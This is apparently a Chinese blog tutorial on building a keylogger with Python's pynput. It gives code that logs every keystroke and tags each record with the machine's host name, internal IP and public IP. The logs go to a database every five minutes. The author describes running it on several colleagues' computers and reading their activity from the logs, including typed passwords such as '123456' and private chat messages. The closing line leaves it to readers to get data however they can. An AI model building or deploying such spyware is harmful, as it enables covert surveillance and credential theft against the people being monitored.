使用pynput可以很方便地实现对键盘输入的监听,我们先看一个最简单的实现键盘监听的demo
from pynput import keyboard
def on_press(key):
print(key)
if __name__=="__main__":
with keyboard.Listener(on_press=on_press, on_release=on_release) as lsn:
lsn.join()
执行了上述的代码后,我们继续在编辑 器中输入了abcdefg并按了一次退格,接着我通过截图的快捷键进行截图,所有的操作都被记录在了控制台中。
既然我们能对数据进行监听,那么为了能够在后续实现对键盘输入数据的分析,我们可以制定周期执行计划,将每个周期内的键盘输入保存到数据库中。这部分我们通过修改上面的demo中的on_press函数来实现。
import time
global_time = time.time()
loglist = []
hostname = socket.gethostname()
host = socket.gethostbyname(hostname)
def parse_log():
"""解析键盘输入日志"""
global loglist, host, hostname
my_ip = str(urlopen('http://ip.42.pl/raw').read()).replace("'", "").replace("b", "")
try:
temp = [str(i).strip().replace("'", "") for i in loglist]
if temp:
content = " ".join(temp)
content = content.replace("Key.backspace", " ")
struct_time = time.localtime(time.time()) # 得到结构化时间格式
now_time = time.strftime("%Y-%m-%d %H:%M:%S", struct_time)
dbutil().insert(
"insert into event(log_time, log, host, hostname,ip) values ('{}','{}','{}','{}','{}')".format(now_time, content, host, hostname,
my_ip))
loglist = loglist[len(temp):]
except Exception as e:
traceback.print_exc(e)
def on_press(key):
global global_time, loglist
# 每5分钟读写一次
if (time.time() - global_time) >= 300:
parse_log()
global_time = time.time()
loglist.append(key)
上述连接数据库的工具类就不作过多赘述了,需要完整代码的可以转到文章末尾获取链接。
为了对收集的键盘输入来源标记,这里会在脚本启动时获取当前主机的主机名称,内网ip和公网ip。每次键盘的输入事件会记录在一个全局列表中,在每次执行完成后删除已经保存到数据库的内容。
由于键盘输入的数据比较混乱,因此目前还没有实现针对输入数据的代码。下面我展示我监听的几位小伙伴的电脑输入来推测下大家都在干嘛。
上面这张图我们看到当前用户正在疯狂按住ctrl,所以这个时候是在看项目代码,点击查看各个函数的具体用法。
当我们看到上图这部分可以很明显地感知到当前用户在输入密码信息,123456 以及 smile…后都接上了回车键
这里我们通过识别拼音发现当前用户正在聊天而且聊得很开心,又是“哈哈哈哈哈”,又是“坏姐姐”的。
这里我监听的小伙伴们中,通过键盘输入日志发现有的在写前端,有的在写java,还有的在写python。这里就不一一列举了,这些都可以在后续通过自己写逻辑进行识别出来。
至于怎么获取足够的数据就要看大家自己的操作了。